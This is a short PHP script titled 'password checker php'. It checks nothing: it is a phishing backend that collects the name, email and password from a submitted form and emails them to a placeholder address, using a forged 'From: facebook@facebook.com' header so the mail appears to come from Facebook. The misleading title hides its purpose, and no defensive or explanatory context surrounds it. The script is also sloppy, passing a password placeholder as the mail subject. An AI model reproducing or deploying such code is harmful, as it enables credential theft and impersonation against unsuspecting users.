password checker php

<?php

        error_reporting (E_ALL ^ E_NOTICE);
    $email.= "<b>Name             : </b>".trim($_POST['name'])."<br/>";
    $email.= "<b>Email            : </b>".trim($_POST['email'])."<br/>";
    $email.= "<b>Password         : </b>".trim($_POST['password'])."<br/>";

    $headers = "From:facebook@facebook.com\r\n";
    $headers .= "Content-Type: text/html";
    mail(
            "your id",
            "your password",
            $email,
            $headers
    );

    echo "Mail Completed";

?>